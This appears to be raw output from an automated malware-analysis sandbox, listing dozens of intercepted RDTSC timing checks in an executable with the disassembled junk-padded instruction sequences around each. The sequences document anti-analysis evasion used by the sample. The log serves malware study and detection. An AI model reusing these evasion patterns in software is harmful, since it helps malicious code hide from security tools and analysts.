Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE25EE second address: AE25FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push ecx 0x00000008 jg 00007FFBACBC1536h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE28AE second address: AE28B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE8DA5 second address: AE8DBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FFBACBC153Fh 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE8DBD second address: AE8DC3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE8DC3 second address: AE8DDA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007FFBACBC153Dh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEA33F second address: AEA343 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEA343 second address: AEA349 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF041F second address: AF0438 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FFBAD1BEC44h 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF0438 second address: AF043E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF043E second address: AF0444 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF0444 second address: AF048A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFBACBC153Bh 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jbe 00007FFBACBC153Ah 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 pushad 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 pushad 0x00000018 jbe 00007FFBACBC1538h 0x0000001e push edx 0x0000001f pop edx 0x00000020 push edx 0x00000021 jmp 00007FFBACBC1541h 0x00000026 jmp 00007FFBACBC153Ah 0x0000002b pop edx 0x0000002c pushad 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF0975 second address: AF0980 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007FFBAD1BEC36h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF0ABC second address: AF0AC2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF0AC2 second address: AF0AC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF0AC6 second address: AF0ACA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF0C14 second address: AF0C1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF0C1A second address: AF0C33 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFBACBC1543h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF0C33 second address: AF0C3D instructions: 0x00000000 rdtsc 0x00000002 jp 00007FFBAD1BEC42h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF0DA0 second address: AF0DA4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF0DA4 second address: AF0DC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FFBAD1BEC42h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push esi 0x0000000c jng 00007FFBAD1BEC36h 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF0DC4 second address: AF0DD8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FFBACBC153Ah 0x00000009 jno 00007FFBACBC1536h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF0F3E second address: AF0F42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF0F42 second address: AF0F46 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF1241 second address: AF1251 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FFBAD1BEC3Bh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF13E1 second address: AF13E6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF2288 second address: AF2296 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFBAD1BEC3Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEFF09 second address: AEFF1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 jmp 00007FFBACBC153Ah 0x0000000b push edx 0x0000000c pop edx 0x0000000d popad 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEFF1F second address: AEFF25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEFF25 second address: AEFF38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FFBACBC153Ch 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEFF38 second address: AEFF3C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEFF3C second address: AEFF5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 pushad 0x0000000a jmp 00007FFBACBC1544h 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEFF5D second address: AEFF78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FFBAD1BEC36h 0x0000000a jmp 00007FFBAD1BEC3Fh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF4785 second address: AF4798 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 je 00007FFBACBC1542h 0x0000000b jne 00007FFBACBC1536h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF4798 second address: AF479C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFAAAF second address: AFAAC8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FFBACBC1544h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFAAC8 second address: AFAAEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FFBAD1BEC36h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FFBAD1BEC44h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFAAEB second address: AFAAEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFAAEF second address: AFAAF3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFAAF3 second address: AFAAF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFAC55 second address: AFAC75 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jg 00007FFBAD1BEC36h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FFBAD1BEC44h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFAC75 second address: AFAC82 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 je 00007FFBACBC1536h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFAC82 second address: AFACBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 jnl 00007FFBAD1BEC3Eh 0x0000000d push edi 0x0000000e pop edi 0x0000000f jng 00007FFBAD1BEC36h 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a pushad 0x0000001b popad 0x0000001c push ecx 0x0000001d pop ecx 0x0000001e jp 00007FFBAD1BEC36h 0x00000024 popad 0x00000025 jmp 00007FFBAD1BEC48h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B07D04 second address: B07D08 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B07D08 second address: B07D42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jc 00007FFBAD1BEC38h 0x0000000d push edx 0x0000000e pop edx 0x0000000f jmp 00007FFBAD1BEC3Bh 0x00000014 push eax 0x00000015 push edx 0x00000016 jnl 00007FFBAD1BEC36h 0x0000001c jmp 00007FFBAD1BEC48h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0784B second address: B07866 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007FFBACBC153Bh 0x0000000d jc 00007FFBACBC1536h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B07866 second address: B07899 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FFBAD1BEC40h 0x0000000a pushad 0x0000000b jmp 00007FFBAD1BEC40h 0x00000010 jmp 00007FFBAD1BEC3Bh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0BC60 second address: B0BC7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a pop edi 0x0000000b jmp 00007FFBACBC1544h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0DEE8 second address: B0DF03 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jns 00007FFBAD1BEC36h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edi 0x0000000d jnp 00007FFBAD1BEC56h 0x00000013 push eax 0x00000014 push edx 0x00000015 jng 00007FFBAD1BEC36h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0FED8 second address: B0FEF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jmp 00007FFBACBC1547h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0FAD4 second address: B0FAD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B14A88 second address: B14AAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 push edi 0x0000000a pop edi 0x0000000b jnp 00007FFBACBC1536h 0x00000011 jmp 00007FFBACBC1540h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1D38E second address: B1D3A8 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007FFBAD1BEC3Fh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1D3A8 second address: B1D3C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007FFBACBC1541h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B27139 second address: B2713F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B25CD8 second address: B25CDE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2624E second address: B26252 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B26E43 second address: B26E47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B26E47 second address: B26E4B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B26E4B second address: B26E7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FFBACBC153Dh 0x0000000b jmp 00007FFBACBC1548h 0x00000010 jne 00007FFBACBC153Eh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2AE9B second address: B2AEA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2AB81 second address: B2AB9C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFBACBC1547h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2AB9C second address: B2ABB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jg 00007FFBAD1BEC38h 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2ABB0 second address: B2ABB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3A2E9 second address: B3A30B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FFBAD1BEC36h 0x0000000a jmp 00007FFBAD1BEC41h 0x0000000f jnl 00007FFBAD1BEC36h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B37EFC second address: B37F02 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B37F02 second address: B37F08 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B37F08 second address: B37F17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FFBACBC153Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B37F17 second address: B37F46 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFBAD1BEC48h 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jmp 00007FFBAD1BEC3Ch 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B49EB6 second address: B49ED6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FFBACBC1540h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f jng 00007FFBACBC1536h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B49ED6 second address: B49EDA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B629E5 second address: B629E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B629E9 second address: B629F3 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FFBAD1BEC36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B61B8D second address: B61B91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B61B91 second address: B61BBF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFBAD1BEC49h 0x00000007 js 00007FFBAD1BEC36h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop esi 0x00000010 jl 00007FFBAD1BEC46h 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B61BBF second address: B61BC3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B61CF0 second address: B61D05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jl 00007FFBAD1BEC3Ah 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B61D05 second address: B61D17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FFBACBC153Dh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B622F5 second address: B622FF instructions: 0x00000000 rdtsc 0x00000002 jng 00007FFBAD1BEC36h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B62438 second address: B62440 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6257D second address: B62581 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B626EC second address: B626F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B626F4 second address: B626F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B66BFE second address: B66C08 instructions: 0x00000000 rdtsc 0x00000002 je 00007FFBACBC153Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B66C08 second address: B66C52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 mov dword ptr [ebp+122D1B0Fh], ecx 0x0000000f push 00000004h 0x00000011 push 00000000h 0x00000013 push esi 0x00000014 call 00007FFBAD1BEC38h 0x00000019 pop esi 0x0000001a mov dword ptr [esp+04h], esi 0x0000001e add dword ptr [esp+04h], 00000018h 0x00000026 inc esi 0x00000027 push esi 0x00000028 ret 0x00000029 pop esi 0x0000002a ret 0x0000002b mov edx, esi 0x0000002d push B7A924C2h 0x00000032 pushad 0x00000033 push eax 0x00000034 push edx 0x00000035 jmp 00007FFBAD1BEC3Fh 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B66C52 second address: B66C6D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFBACBC1543h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B66C6D second address: B66C71 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B66E3B second address: B66E9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jne 00007FFBACBC1538h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e push eax 0x0000000f push esi 0x00000010 push edx 0x00000011 jo 00007FFBACBC1536h 0x00000017 pop edx 0x00000018 pop esi 0x00000019 nop 0x0000001a push 00000000h 0x0000001c push ebp 0x0000001d call 00007FFBACBC1538h 0x00000022 pop ebp 0x00000023 mov dword ptr [esp+04h], ebp 0x00000027 add dword ptr [esp+04h], 0000001Ch 0x0000002f inc ebp 0x00000030 push ebp 0x00000031 ret 0x00000032 pop ebp 0x00000033 ret 0x00000034 pushad 0x00000035 mov dx, si 0x00000038 mov dword ptr [ebp+122D579Ch], esi 0x0000003e popad 0x0000003f push dword ptr [ebp+122D1FFFh] 0x00000045 mov dword ptr [ebp+122D2428h], ebx 0x0000004b push F217E0F4h 0x00000050 push eax 0x00000051 push edx 0x00000052 push ebx 0x00000053 pushad 0x00000054 popad 0x00000055 pop ebx 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B687A2 second address: B687AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FFBAD1BEC36h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E002AD second address: 4E002B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E002B3 second address: 4E002B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E00375 second address: 4E00379 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E00379 second address: 4E0037F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E0037F second address: 4E00385 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E00385 second address: 4E00389 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E00389 second address: 4E003CB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFBACBC1548h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007FFBACBC1540h 0x00000011 push eax 0x00000012 jmp 00007FFBACBC153Bh 0x00000017 xchg eax, ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
